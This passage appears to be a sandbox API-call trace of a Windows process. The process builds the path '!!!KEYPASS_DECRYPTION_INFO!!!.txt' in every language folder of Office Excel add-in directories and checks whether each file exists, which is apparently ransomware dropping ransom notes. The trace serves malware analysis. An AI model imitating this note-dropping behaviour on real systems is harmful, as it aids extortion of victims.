(pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.746] GetFileType (hFile=0x12c8) returned 0x1 [0273.747] CloseHandle (hObject=0x12c8) returned 1 [0273.747] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.748] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.748] GetLastError () returned 0x3f0 [0273.748] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.748] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.749] GetFileType (hFile=0x12cc) returned 0x1 [0273.750] CloseHandle (hObject=0x12cc) returned 1 [0273.765] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.765] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.765] GetLastError () returned 0x3f0 [0273.765] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.765] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.767] GetFileType (hFile=0x12d0) returned 0x1 [0273.768] CloseHandle (hObject=0x12d0) returned 1 [0273.768] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.768] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.768] GetLastError () returned 0x3f0 [0273.768] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.769] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.770] GetFileType (hFile=0x12d4) returned 0x1 [0273.771] CloseHandle (hObject=0x12d4) returned 1 [0273.771] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.771] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.771] GetLastError () returned 0x3f0 [0273.771] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.771] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.772] GetFileType (hFile=0x12d8) returned 0x1 [0273.773] CloseHandle (hObject=0x12d8) returned 1 [0273.774] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.774] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.774] GetLastError () returned 0x3f0 [0273.774] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.774] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.775] GetFileType (hFile=0x12dc) returned 0x1 [0273.776] CloseHandle (hObject=0x12dc) returned 1 [0273.776] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.776] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.776] GetLastError () returned 0x3f0 [0273.776] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.776] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.777] GetFileType (hFile=0x12e0) returned 0x1 [0273.778] CloseHandle (hObject=0x12e0) returned 1 [0273.778] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.778] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.778] GetLastError () returned 0x3f0 [0273.778] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.778] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.779] GetFileType (hFile=0x12e4) returned 0x1 [0273.780] CloseHandle (hObject=0x12e4) returned 1 [0273.780] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.780] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.780] GetLastError () returned 0x3f0 [0273.780] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.780] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.781] GetFileType (hFile=0x12e8) returned 0x1 [0273.782] CloseHandle (hObject=0x12e8) returned 1 [0273.782] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.782] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.782] GetLastError () returned 0x3f0 [0273.782] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.782] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.784] GetFileType (hFile=0x12bc) returned 0x1 [0273.785] CloseHandle (hObject=0x12bc) returned 1 [0273.785] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.785] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.785] GetLastError () returned 0x3f0 [0273.785] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.785] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.786] GetFileType (hFile=0x12ec) returned 0x1 [0273.787] CloseHandle (hObject=0x12ec) returned 1 [0273.787] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.787] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.787] GetLastError () returned 0x3f0 [0273.787] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.787] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.788] GetFileType (hFile=0x12f0) returned 0x1 [0273.789] CloseHandle (hObject=0x12f0) returned 1 [0273.789] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.789] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.789] GetLastError () returned 0x3f0 [0273.789] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.789] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.790] GetFileType (hFile=0x12f4) returned 0x1 [0273.791] CloseHandle (hObject=0x12f4) returned 1 [0273.791] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.791] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.791] GetLastError () returned 0x3f0 [0273.791] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.791] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.792] GetFileType (hFile=0x12f8) returned 0x1 [0273.792] CloseHandle (hObject=0x12f8) returned 1 [0273.793] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0273.793] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.793] GetLastError () returned 0x3f0 [0273.793] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.793] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.798] GetFileType (hFile=0x1300) returned 0x1 [0273.799] CloseHandle (hObject=0x1300) returned 1 [0273.800] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.800] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.800] GetLastError () returned 0x3f0 [0273.800] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.800] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.801] GetFileType (hFile=0x1304) returned 0x1 [0273.802] CloseHandle (hObject=0x1304) returned 1 [0273.802] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.802] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.802] GetLastError () returned 0x3f0 [0273.802] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.802] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.805] GetFileType (hFile=0x1308) returned 0x1 [0273.805] CloseHandle (hObject=0x1308) returned 1 [0273.806] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.806] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.806] GetLastError () returned 0x3f0 [0273.806] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.806] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.807] GetFileType (hFile=0x130c) returned 0x1 [0273.808] CloseHandle (hObject=0x130c) returned 1 [0273.808] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.808] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.808] GetLastError () returned 0x3f0 [0273.808] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.808] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.828] GetFileType (hFile=0x12fc) returned 0x1 [0273.828] CloseHandle (hObject=0x12fc) returned 1 [0273.829] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.829] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.829] GetLastError () returned 0x3f0 [0273.829] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.829] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.830] GetFileType (hFile=0x1314) returned 0x1 [0273.831] CloseHandle (hObject=0x1314) returned 1 [0273.831] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.831] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.831] GetLastError () returned 0x3f0 [0273.831] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.831] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.832] GetFileType (hFile=0x1318) returned 0x1 [0273.833] CloseHandle (hObject=0x1318) returned 1 [0273.833] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.833] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 